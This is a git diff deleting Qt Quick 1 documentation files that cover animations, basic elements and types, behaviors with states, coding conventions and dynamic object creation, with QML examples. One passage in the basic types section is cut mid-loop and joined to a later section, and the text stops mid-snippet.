qml-controlling-animations -\section1 Controlling Animations - -There are different methods to control animations. - -\section2 Animation Playback -All \l{qml-animation-elements}{animation elements} inherit from the \l Animation element. It is not -possible to create \l Animation objects; instead, this element provides the -essential properties and methods for animation elements. Animation elements have -\c{start()}, \c{stop()}, \c{resume()}, \c{pause()}, \c {restart()}, and -\c{complete()} -- all of these methods control the execution of animations. - -\keyword qml-easing-animation -\section2 Easing - -Easing curves define how the animation will interpolate between the start value -and the end value. Different easing curves might go beyond the defined range of -interpolation. The easing curves simplify the creation of animation effects such -as bounce effects, acceleration, deceleration, and cyclical animations. - -A QML object may have different easing curve for each property animation. There -are also different parameters to control the curve, some of which are exclusive -to a particular curve. For more information about the easing curves, visit the -\l {PropertyAnimation::easing.type}{easing} documentation. - -The \l{declarative/animation/easing}{easing example} visually demonstrates each -of the different easing types. - -\section2 Other Animation Elements - -In addition, QML provides several other elements useful for animation: - -\list -\o PauseAnimation: enables pauses during animations -\o ScriptAction: allows JavaScript to be executed during an animation, and can -be used together with StateChangeScript to reused existing scripts -\o PropertyAction: changes a property \e immediately during an animation, -without animating the property change -\endlist - -These are specialized animation elements that animate different property types -\list -\o SmoothedAnimation: a specialized NumberAnimation that provides smooth -changes in animation when the target value changes -\o SpringAnimation: provides a spring-like animation with specialized -attributes such as \l {SpringAnimation::}{mass}, -\l{SpringAnimation::}{damping} and \l{SpringAnimation::}{epsilon} -\o ParentAnimation: used for animating a parent change (see ParentChange) -\o AnchorAnimation: used for animating an anchor change (see AnchorChanges) -\endlist - -\section1 Sharing Animation Instances - -Sharing animation instances between Transitions or Behaviors is not -supported, and may lead to undefined behavior. In the following example, -changes to the Rectangle's position will most likely not be correctly animated. - -\qml -Rectangle { - // NOT SUPPORTED: this will not work correctly as both Behaviors - // try to control a single animation instance - NumberAnimation { id: anim; duration: 300; easing.type: Easing.InBack } - Behavior on x { animation: anim } - Behavior on y { animation: anim } -} -\endqml - -The easiest fix is to repeat the NumberAnimation for both Behaviors. If the repeated -animation is rather complex, you might also consider creating a custom animation -component and assigning an instance to each Behavior, for example: - -\qml -// MyNumberAnimation.qml -NumberAnimation { id: anim; duration: 300; easing.type: Easing.InBack } -\endqml - -\qml -// main.qml -Rectangle { - Behavior on x { MyNumberAnimation {} } - Behavior on y { MyNumberAnimation {} } -} -\endqml - -*/ - - - -\snippet doc/src/snippets/declarative/animation-elements.qml color -\snippet doc/src/snippets/declarative/animation-propertyvaluesource.qml 0 -\snippet doc/src/snippets/declarative/animation-signalhandler.qml 0 -\snippet doc/src/snippets/declarative/animation-standalone.qml 0 - -\snippet doc/src/snippets/declarative/animation-transitions.qml 0 -\snippet doc/src/snippets/declarative/animation-groups.qml 0 - -\snippet doc/src/snippets/declarative/animation-groups.qml 1 -\snippet doc/src/snippets/declarative/animation-groups.qml 0 -\image propanim.gif - diff --git a/doc/src/qtquick1/basicelements.qdoc b/doc/src/qtquick1/basicelements.qdoc deleted file mode 100644 index 836a102723..0000000000 --- a/doc/src/qtquick1/basicelements.qdoc +++ /dev/null @@ -1,115 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmlbasicelements.html -\inqmlmodule QtQuick 1 -\ingroup qml-features -\contentspage QML Features -\previouspage QML Features -\nextpage {QML Basic Types}{Data Types} - -\title QML Basic Elements - -QML's basic elements allow the easy inclusion of objects into the -scene. - -\section1 Basic Elements -This is a list of some of the elements readily available for users. -\list -\o \l {Item} -\o \l {Rectangle} -\o \l {Image} -\o \l {Text} -\o \l {TextInput} -\o \l {TextEdit} -\o \l {FocusScope} -\o \l {Component} -\o \l {MouseArea} -\endlist - -For a complete list of QML elements, please visit the \l {QML Elements} page. - -\section1 Properties and Qt Declarative Module - -When using QML elements, keep in mind that elements may possess properties that -other elements also possess. This is because QML and its underlying engine is -implemented in C++ using Qt. More importantly, the chain of property inheritance -is directly due to QML's use of the \l {Qt Declarative Module} and Qt's -\l {Meta-Object System}{meta-object} and \l {The Property System}{property} systems. For example, visual elements that have C++ implementation are sublcasses of -\l {QDeclarativeItem}. As a result, elements such as \l {Rectangle} and -\l {Text} elements inherit properties such as \c clip and \c smooth. - -\section1 Item Element - -Many QML elements inherit \l Item properties. \c Item possesses important properties -such as \c focus, \c children, and dimension properties such as \c width and -\c height. Although \c Item has physical properties, it is not a visual element. -Using \c Item as the top-level QML element (as the screen) will not produce a -visual result, use the \l {Rectangle} element instead. Use the \c Item to create -opacity effects, such as when creating an invisible container to hold other -components. - -\section1 Rectangle Element - -The \l Rectangle element is the basic visual element, for displaying different -types of items onto the screen. The \c Rectangle is customizable and utilizes -other elements such as \l Gradient and \l BorderImage for displaying advanced -customized graphics. - -\section1 Image Element - -To insert an image into a QML scene, merely declare an \l Image element. The -\c Image element can load images in formats supported by Qt. - -\section1 Text Elements - -The \l Text and \l TextEdit elements display formatted text onto the screen. -\c TextEdit features multi-line editing while the \l TextInput element is for -single line text input. - -\keyword qml-top-level-component -\section1 Using Elements as the Top-Level Component - -For creating components (or displaying a simple scene), there are different -elements that could be used as the top-level component. To display a simple scene, -a \l Rectangle as the top-level component may suffice. \l Rectangle, -\l FocusScope, \l Component, \l {QML:QtObject} {QtObject}, \l Item, are some of -the commonly used elements as the top-level component. - -When importing components, the top-level component is important because the -top-level component's properties are the only properties exposed to the parent. - -For example, a \c Button component may be implemented using different elements as -its top-level component. When this component is loaded into another QML scene, -the component will retain the top-level component's properties. If a non-visual -component is the top-level component, the visual properties should be aliased to -the top-level to display the component properly. - -For more information on how to build upon QML elements, see the -\l{Importing Reusable Components} document. -*/ diff --git a/doc/src/qtquick1/basictypes.qdoc b/doc/src/qtquick1/basictypes.qdoc deleted file mode 100644 index 2cc8859dc2..0000000000 --- a/doc/src/qtquick1/basictypes.qdoc +++ /dev/null @@ -1,597 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \page qdeclarativebasictypes.html -\inqmlmodule QtQuick 1 - \ingroup qml-features - \contentspage QML Features - \previouspage {QML Basic Elements} - \nextpage Property Binding - \title QML Basic Types - - QML has a set of primitive types, as listed below, that are used throughout - the \l {QML Elements}. - - \annotatedlist qmlbasictypes - - To create additional types, such as data types created in C++, read the - \l{Extending QML Functionalities using C++} article. -*/ - -/*! - \qmlbasictype int - \ingroup qmlbasictypes - - \brief An integer is a whole number, e.g. 0, 10, or -20. - - An integer is a whole number, e.g. 0, 10, or -20. The possible \c - int values range from around -2000000000 to around 2000000000, - although most elements will only accept a reduced range (which they - mention in their documentation). - - Example: - \qml - Item { width: 100; height: 200 } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype bool - \ingroup qmlbasictypes - - \brief A boolean is a binary true/false value. - - A boolean is a binary true/false value. - - Example: - \qml - Item { focus: true; clip: false } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype real - \ingroup qmlbasictypes - - \brief A real number has a decimal point, e.g. 1.2 or -29.8. - - A real number has a decimal point, e.g. 1.2 or -29.8. - - Example: - \qml - Item { width: 100.45; height: 150.82 } - \endqml - - \note In QML all reals are stored in single precision, \l - {http://en.wikipedia.org/wiki/IEEE_754} {IEEE floating point} - format. - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype double - \ingroup qmlbasictypes - - \brief A double number has a decimal point and is stored in double precision. - - A double number has a decimal point and is stored in double precision, \l - {http://en.wikipedia.org/wiki/IEEE_754} {IEEE floating point} - format. - - Example: - \qml - Item { - property double number: 32155.2355 - } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype string - \ingroup qmlbasictypes - - \brief A string is a free form text in quotes, e.g. "Hello world!". - - A string is a free form text in quotes, e.g. "Hello world!". - - Example: - \qml - Text { text: "Hello world!" } - \endqml - - Strings have a \c length attribute that holds the number of - characters in the string. - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype url - \ingroup qmlbasictypes - - \brief A URL is a resource locator, like a file name. - - A URL is a resource locator, like a file name. It can be either - absolute, e.g. "http://qt.nokia.com", or relative, e.g. - "pics/logo.png". A relative URL is resolved relative to the URL of - the component where the URL is converted from a JavaScript string - expression to a url property value. - - Example: - \qml - Image { source: "pics/logo.png" } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype color - \ingroup qmlbasictypes - - \brief A color is a standard color name in quotes. - - A color is a standard color name in quotes. It is normally specified - as an \l {http://www.w3.org/TR/SVG/types.html#ColorKeywords} {SVG - color name}. These names include colors like "red", "green" and - "lightsteelblue". - - If the color you want isn't part of this list, colors can also be - specified in hexidecimal triplets or quads that take the form \c - "#RRGGBB" and \c "#AARRGGBB" respectively. For example, the color - red corresponds to a triplet of \c "#FF0000" and a slightly - transparent blue to a quad of \c "#800000FF". - - Example: - \div{float-right} - \inlineimage declarative-colors.png - \enddiv - \snippet doc/src/snippets/declarative/colors.qml colors - - Or with the \l{QML:Qt::rgba()}{Qt.rgba()}, \l{QML:Qt::hsla()}{Qt.hsla()}, \l{QML:Qt::darker()}{Qt.darker()}, - \l{QML:Qt::lighter()}{Qt.lighter()} or \l{QML:Qt::tint()}{Qt.tint()} functions: - - \qml - Rectangle { color: Qt.rgba(0.5, 0.5, 0, 1) } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype point - \ingroup qmlbasictypes - - \brief A point type has x and y attributes. - - A \c point type has \c x and \c y attributes. - - To create a \c point value, specify it as a "x,y" string: - - \qml - CustomObject { myPointProperty: "0,20" } - \endqml - - Or use the \l{QML:Qt::point()}{Qt.point()} function: - - \qml - CustomObject { myPointProperty: Qt.point(0, 20) } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype size - \ingroup qmlbasictypes - - \brief A size type has width and height attributes - - A \c size type has \c width and \c height attributes. - - For example, to read the \l {Image::sourceSize} \c size property: - - \qml - Column { - Image { id: image; source: "logo.png" } - Text { text: image.sourceSize.width + "," + image.sourceSize.height } - } - \endqml - - To create a \c size value, specify it as a "width x height" string: - - \qml - LayoutItem { preferredSize: "150x50" } - \endqml - - Or use the \l{QML:Qt::size()}{Qt.size()} function: - - \qml - LayoutItem { preferredSize: Qt.size(150, 50) } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype rect - \ingroup qmlbasictypes - - \brief A rect type has x, y, width and height attributes. - - A \c rect type has \c x, \c y, \c width and \c height attributes. - - For example, to read the \l {Item::childrenRect.x}{Item::childrenRect} \c rect property: - \qml - Rectangle { - width: childrenRect.width - height: childrenRect.height - - Rectangle { width: 100; height: 100 } - } - \endqml - - To create a \c rect value, specify it as a "x, y, width x height" string: - - \qml - CustomObject { myRectProperty: "50,50,100x100" } - \endqml - - Or use the \l{QML:Qt::rect()}{Qt.rect()} function: - - \qml - CustomObject { myRectProperty: Qt.rect(50, 50, 100, 100) } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype date - \ingroup qmlbasictypes - - \brief A date is specified as "YYYY-MM-DD". - - To create a \c date value, specify it as a "YYYY-MM-DD" string: - - Example: - \qml - MyDatePicker { minDate: "2000-01-01"; maxDate: "2020-12-31" } - \endqml - - To read a date value returned from a C++ extension class, use - \l{QML:Qt::formatDate()}{Qt.formatDate()} and \l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}. - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype time - \ingroup qmlbasictypes - - \brief A time is specified as "hh:mm:ss". - - A time is specified as "hh:mm:ss". - - Example: - \qml - MyTimePicker { time: "14:22:15" } - \endqml - - To read a time value returned from a C++ extension class, use - \l{QML:Qt::formatTime()}{Qt.formatTime()} and \l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}. - - \sa {QML Basic Types} - */ - -/*! - \qmlbasictype font - \ingroup qmlbasictypes - - \brief A font type has the properties of a QFont. - - A font type has the properties of a QFont. The properties are: - - \list - \o \c string font.family - \o \c bool font.bold - \o \c bool font.italic - \o \c bool font.underline - \o \c real font.pointSize - \o \c int font.pixelSize - \endlist - - Example: - \qml - Text { font.family: "Helvetica"; font.pointSize: 13; font.bold: true } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype action - \ingroup qmlbasictypes - - \brief The action type has all the properties of QAction. - - The action type has all the properties of QAction. The properties - are: - - \list - \o \c slot action.trigger - invoke the action - \o \c bool action.enabled - true if the action is enabled - \o \c string action.text - the text associated with the action - \endlist - - Actions are used like this: - - \qml - Item { - MouseArea { onClicked: myaction.trigger() } - State { name: "enabled"; when: myaction.enabled == true } - Text { text: someaction.text } - } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype list - \ingroup qmlbasictypes - - \brief A list of objects. - - A list type contains a list of objects. While not technically - a basic type, QML supports lists of object types. When used - from QML, the engine automatically appends each value to the list. - Items in the list can be accessed by index using the usual - \c listName[index] syntax. - - For example, the \l Item class contains a list property named - children that can be used like this: - - \qml - Item { - children: [ - Item { id: child1 }, - Rectangle { id: child2; width: 200 }, - Text { id: child3 } - ] - - Component.onCompleted: { - console.log("Width of child rectangle:", children[1].width) - } - } - \endqml - \c child1, \c child2 and \c child3 will be added to the children list - in the order in which they appear. - - List \l {Property Binding}{properties} can be created as a - \c variant type, or as a \c list type, where \c Type is the - type of the object in the list: - - \qml - Item { - property list rects: [ - Rectangle { width: 100; height: 100}, - Rectangle { width: 200; height: 200} - ] - } - \endqml - - A list property can only contain values that match (or are derived from) the - specified \c Type. - - While the \c rects property can be reassigned to a different list value (including - an empty list), its individual values cannot be modified. See the \l variant type - documentation for details. - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype variant - \ingroup qmlbasictypes - - \brief A variant type is a generic property type. - - A variant is a generic property type. A variant type property can hold - any of the \l {QML Basic Types}{basic type} values: - - \qml - Item { - property variant aNumber: 100 - property variant aString: "Hello world!" - property variant aBool: false - } - \endqml - - A \c variant type property can also hold an image or pixmap. - A \c variant which contains a QPixmap or QImage is known as a - "scarce resource" and the declarative engine will attempt to - automatically release such resources after evaluation of any JavaScript - expression which requires one to be copied has completed. - - Clients may explicitly release such a scarce resource by calling the - "destroy" method on the \c variant property from within JavaScript. They - may also explicitly preserve the scarce resource by calling the - "preserve" method on the \c variant property from within JavaScript. - For more information regarding the usage of a scarce resource, please - see \l{Scarce Resources in JavaScript}. - - Finally, the \c variant type can also hold: - - \list - \o An array of \l {QML Basic Types}{basic type} values - \o A map of key-value pairs with \l {QML Basic Types}{basic-type} values - \endlist - - For example, below is an \c items array and an \c attributes map. Their - contents can be examined using JavaScript \c for loops. Individual array - values are accessible by index, and individual map values are accessible - by key: - - \qml - Item { - property variant items: [1, 2, 3, "four", "five"] - property variant attributes: { 'color': 'red', 'width': 100 } - - Component.onCompleted: { - for (var i=0; i.}: - \qml - Text { horizontalAlignment: Text.AlignRight } - \endqml - - The second form is preferred. - - \sa {QML Basic Types} -*/ diff --git a/doc/src/qtquick1/behaviors-and-states.qdoc b/doc/src/qtquick1/behaviors-and-states.qdoc deleted file mode 100644 index 5d81246e49..0000000000 --- a/doc/src/qtquick1/behaviors-and-states.qdoc +++ /dev/null @@ -1,207 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-behaviors-and-states.html -\inqmlmodule QtQuick 1 -\title Using QML Behaviors with States - -\section1 Using Behaviors with States - -In some cases you may choose to use a Behavior to animate a property change caused by a state change. While this works well for some situations, in other situations it may lead to unexpected behavior. - -Here's an example that shows the problem: - -\qml -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - - Rectangle { - id: coloredRect - width: 100 - height: 100 - anchors.centerIn: parent - - color: "red" - Behavior on color { - ColorAnimation {} - } - - MouseArea { - id: mouser - anchors.fill: parent - hoverEnabled: true - } - - states: State { - name: "GreenState" - when: mouser.containsMouse - - PropertyChanges { - target: coloredRect - color: "green" - } - } - } -} -\endqml - -Testing the example by quickly and repeatedly moving the mouse in to and out of the colored rectangle shows that the colored rectangle will settle into a green color over time, never returning to full red. This is not what we wanted! The -problem occurs because we have used a Behavior to animate the change in color, and our state change is trigged by the mouse entering or exiting the MouseArea, which is easily interrupted. - -To state the problem more formally, using States and Behaviors together can cause unexpected behavior when: -\list -\o a Behavior is used to animate a property change, specifically when moving from an explicitly defined state back to the implicit base state; and -\o this Behavior can be interrupted to (re-)enter an explicitly defined state. -\endlist - -The problem occurs because of the way the base state is defined for QML: as the "snapshot" state of the application just prior to entering an explicitly defined state. In this case, if we are in the process of animating from green back -to red, and interrupt the animation to return to "GreenState", the base state will include the color in its intermediate, mid-animation form. - -While future versions of QML should be able to handle this situation more gracefully, there are currently several ways to rework your application to avoid this problem. - -1. Use a transition to animate the change, rather than a Behavior. - -\qml -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - - Rectangle { - id: coloredRect - width: 100 - height: 100 - anchors.centerIn: parent - - color: "red" - - MouseArea { - id: mouser - anchors.fill: parent - hoverEnabled: true - } - - states: State { - name: "GreenState" - when: mouser.containsMouse - - PropertyChanges { - target: coloredRect - color: "green" - } - } - - transitions: Transition { - ColorAnimation {} - } - } -} -\endqml - -2. Use a conditional binding to change the property value, rather than a state - -\qml -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - - Rectangle { - id: coloredRect - width: 100 - height: 100 - anchors.centerIn: parent - - color: mouser.containsMouse ? "green" : "red" - Behavior on color { - ColorAnimation {} - } - - MouseArea { - id: mouser - anchors.fill: parent - hoverEnabled: true - } - } -} -\endqml - -3. Use only explicitly defined states, rather than an implicit base state - -\qml -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - - Rectangle { - id: coloredRect - width: 100 - height: 100 - anchors.centerIn: parent - - Behavior on color { - ColorAnimation {} - } - - MouseArea { - id: mouser - anchors.fill: parent - hoverEnabled: true - } - - states: [ - State { - name: "GreenState" - when: mouser.containsMouse - - PropertyChanges { - target: coloredRect - color: "green" - } - }, - State { - name: "RedState" - when: !mouser.containsMouse - - PropertyChanges { - target: coloredRect - color: "red" - } - }] - } -} -\endqml - -*/ diff --git a/doc/src/qtquick1/codingconventions.qdoc b/doc/src/qtquick1/codingconventions.qdoc deleted file mode 100644 index 97e69fc680..0000000000 --- a/doc/src/qtquick1/codingconventions.qdoc +++ /dev/null @@ -1,130 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-coding-conventions.html -\inqmlmodule QtQuick 1 -\title QML Coding Conventions - -This document contains the QML coding conventions that we follow in our documentation and examples and recommend that others follow. - -This page assumes that you are already familiar with the QML language. -If you need an introduction to the language, please read \l {Introduction to the QML language}{the QML introduction} first. - - -\section1 QML Objects - -Through our documentation and examples, QML objects are always structured in the following order: - -\list -\o id -\o property declarations -\o signal declarations -\o JavaScript functions -\o object properties -\o child objects -\o states -\o transitions -\endlist - -For better readability, we separate these different parts with an empty line. - - -For example, a hypothetical \e photo QML object would look like this: - -\snippet doc/src/snippets/declarative/codingconventions/photo.qml 0 - - -\section1 Grouped Properties - -If using multiple properties from a group of properties, -we use the \e {group notation} rather than the \e {dot notation} to improve readability. - -For example, this: - -\snippet doc/src/snippets/declarative/codingconventions/dotproperties.qml 0 - -can be written like this: - -\snippet doc/src/snippets/declarative/codingconventions/dotproperties.qml 1 - - -\section1 Private Properties - -QML and JavaScript do not enforce private properties like C++. There is a need -to hide these private properties, for example, when the properties are part of -the implementation. As a convention, private properties begin with two -\e underscore characters. For example, \c __area, is a property that is -accessible but is not meant for public use. Note that QML and JavaScript will -grant the user access to these properties. - -\snippet doc/src/snippets/declarative/codingconventions/private.qml 0 - - -\section1 Lists - -If a list contains only one element, we generally omit the square brackets. - -For example, it is very common for a component to only have one state. - -In this case, instead of: - -\snippet doc/src/snippets/declarative/codingconventions/lists.qml 0 - -we will write this: - -\snippet doc/src/snippets/declarative/codingconventions/lists.qml 1 - - -\section1 JavaScript Code - -If the script is a single expression, we recommend writing it inline: - -\snippet doc/src/snippets/declarative/codingconventions/javascript.qml 0 - -If the script is only a couple of lines long, we generally use a block: - -\snippet doc/src/snippets/declarative/codingconventions/javascript.qml 1 - -If the script is more than a couple of lines long or can be used by different objects, we recommend creating a function and calling it like this: - -\snippet doc/src/snippets/declarative/codingconventions/javascript.qml 2 - -For long scripts, we will put the functions in their own JavaScript file and import it like this: - -\snippet doc/src/snippets/declarative/codingconventions/javascript-imports.qml 0 - -*/ - - - - - - - - - diff --git a/doc/src/qtquick1/declarativeui.qdoc b/doc/src/qtquick1/declarativeui.qdoc deleted file mode 100644 index d0161aa7a3..0000000000 --- a/doc/src/qtquick1/declarativeui.qdoc +++ /dev/null @@ -1,159 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\title Qt Quick -\page qtquick1.html -\inqmlmodule QtQuick 1 -\ingroup qt-gui-concepts - -\brief Qt Quick provides a declarative framework for building highly -dynamic user interfaces. - -Qt Quick is a collection of technologies that are designed to help -developers create the kind of intuitive, modern, fluid user -interfaces that are increasingly used on mobile phones, media players, -set-top boxes and other portable devices. - -Qt Quick consists of a rich set of user interface elements, a declarative -language for describing user interfaces and a language runtime. A collection -of C++ APIs is used to integrate these high level features with classic -Qt applications. - -\section1 Getting Started - -\list -\o \l{Intro to Qt Quick}{Introduction to Qt Quick} -\o \l{QML for Qt Programmers}{QML Programming for Qt Programmers} -\o \l{Getting Started Programming with QML} - -\o \l{What's new in Qt Quick 1}{What's New in the Qt Quick Release} -\o \l{QML Examples and Demos} -\endlist - -\section1 QML Features - -\list -\o \l{QML Basic Elements}{Basic Elements} -\o \l{QML Basic Types}{Data Types} -\o \l{Property Binding} -\o \l{Using QML Positioner and Repeater Items}{Component Layouts} -\o \l{Anchor-based Layout in QML}{Layouts using Anchors} -\o \l{QML Mouse Events}{Mouse Events} -\o \l{QML Text Handling and Validators}{Text Handling and Validators} -\o \l{Keyboard Focus in QML}{Keyboard Focus} -\o \l{QML Signal and Handler Event System}{Signal and Handler Event System} -\o \l{Importing Reusable Components} -\o \l{QML States}{States} -\o \l{QML Animation and Transitions}{Animation and Transitions} -\o \l{QML Data Models}{Structuring Data with Models} -\o \l{Presenting Data with Views} -\o \l{Extending QML Functionalities using C++} -\o \l{Using QML Bindings in C++ Applications} -\o \l{Integrating QML Code with Existing Qt UI Code} -\o \l{Dynamic Object Management in QML}{Dynamic Object Management} -\o \l{Network Transparency}{Loading Resources in QML} -\o \l{QML Internationalization}{Qt Quick 1 Internationalization} -\endlist - -\section1 QML Add-Ons - -\list -\o \l{QtWebKit QML Module} -\o \l{http://doc.qt.nokia.com/qtmobility-1.1.0/qml-plugins.html}{Mobility QML Plugins} -\endlist - -\section1 Qt Quick Tools - -\list -\o \l{Debugging QML} -\o \l{external: Developing Qt Quick Applications with Creator}{Developing with Qt Creator} -\o \l{QML Viewer} -\endlist - -\section1 Reference - -\list -\o \l{Introduction to the QML language}{QML Syntax} -\o \l{QML Elements} -\o \l{Qt Declarative Module} -\o \l{QML Basic Types}{QML Data Types} -\o \l{QML Coding Conventions} -\o \l{external: Qt Creator Manual}{Qt Creator Manual} -\o \l{Programming with Qt} -\o \l{http://doc.qt.nokia.com/qtmobility-1.1.0/index.html}{Qt Mobility Documentation} -\endlist - -\section1 Architecture - -\list -\o \l{Qt Declarative UI Runtime} -\o \l{Integrating JavaScript} -\o \l{QML Scope} -\o \l{QML Modules} -\o \l{QML Documents} -\o \l{QML Global Object} -\o \l{QML Internationalization} -\o \l{QML Right-to-left User Interfaces} -\o \l{QML Security} -\o \l{Qt Declarative Module} -\endlist - -\section1 Examples - -\list -\o \l{QML Tutorial}{"Hello World" Tutorial} -\o \l{Getting Started Programming with QML} -\o \l{QML Advanced Tutorial}{Tutorial: "Same Game"} -\o \l{Tutorial: Writing QML extensions with C++} -\o \l{QML Examples and Demos} - -\o Forum Nokia: -\l{http://wiki.forum.nokia.com/index.php/Qt_Quick_examples_for_porting}{Qt Quick -examples for porting} -\endlist - -\section1 Best Practices - -\list -\o \l{QML Best Practices: Coding Conventions}{Coding Tips} -\o \l{QML Performance - Qt Quick 1}{Performance Tips} -\endlist - -\section1 License Information -\list -\o \l{Qt Quick Licensing Information} -\endlist - -\section1 Online Examples - -\list -\o Forum Nokia: -\l{http://wiki.forum.nokia.com/index.php/Qt_Quick_examples_for_porting}{Qt Quick -examples for porting} -\endlist -*/ diff --git a/doc/src/qtquick1/dynamicobjects.qdoc b/doc/src/qtquick1/dynamicobjects.qdoc deleted file mode 100644 index 6250320a99..0000000000 --- a/doc/src/qtquick1/dynamicobjects.qdoc +++ /dev/null @@ -1,216 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativedynamicobjects.html -\inqmlmodule QtQuick 1 -\ingroup qml-features -\contentspage {QML Features} -\previouspage {Integrating QML Code with Existing Qt UI Code} -\nextpage {Network Transparency}{Loading Resources in QML} -\title Dynamic Object Management in QML - -QML provides a number of ways to dynamically create and manage QML objects. -The \l{Loader}, \l{Repeater}, \l{ListView}, \l{GridView} and \l{PathView} elements -all support dynamic object management. Objects can also be created and managed -from C++, and this is the preferred method for hybrid QML/C++ applications -(see \l{Using QML Bindings in C++ Applications}). - -QML also supports the dynamic creation of objects from within JavaScript -code. This is useful if the existing QML elements do not fit the needs of your -application, and there are no C++ components involved. - -See the \l {declarative/toys/dynamicscene}{Dynamic Scene example} for a demonstration -of the concepts discussed on this page. - - -\section1 Creating Objects Dynamically - -There are two ways to create objects dynamically from JavaScript. You can either call -\l {QML:Qt::createComponent()}{Qt.createComponent()} to dynamically create -a \l Component object, or use \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()} -to create an item from a string of QML. -Creating a component is better if you have an existing component defined in a \c .qml -file, and you want to dynamically create instances of that component. Otherwise, -creating an item from a string of QML is useful when the item QML itself is generated -at runtime. - - -\section2 Creating a Component Dynamically - -To dynamically load a component defined in a QML file, call the -\l {QML:Qt::createComponent()}{Qt.createComponent()} function on the \l{QML Global Object}. -This function takes the URL of the QML file as its only argument and creates -a \l Component object from this URL. - -Once you have a \l Component, you can call its \l {Component::createObject()}{createObject()} method to create an instance of -the component. This function can take one or two arguments: -\list -\o The first is the parent for the new item. Since graphical items will not appear on the scene without a parent, it is - recommended that you set the parent this way. However, if you wish to set the parent later you can safely pass \c null to - this function. -\o The second is optional and is a map of property-value items that define initial any property values for the item. - Property values specified by this argument are applied to the object before its creation is finalized, avoiding - binding errors that may occur if particular properties must be initialized to enable other property bindings. - when certain properties have been bound to before they have been set by the code. Additionally, there are small - performance benefits when compared to defining property values and bindings after the object is created. -\endlist - -Here is an example. First there is \c Sprite.qml, which defines a simple QML component: - -\snippet 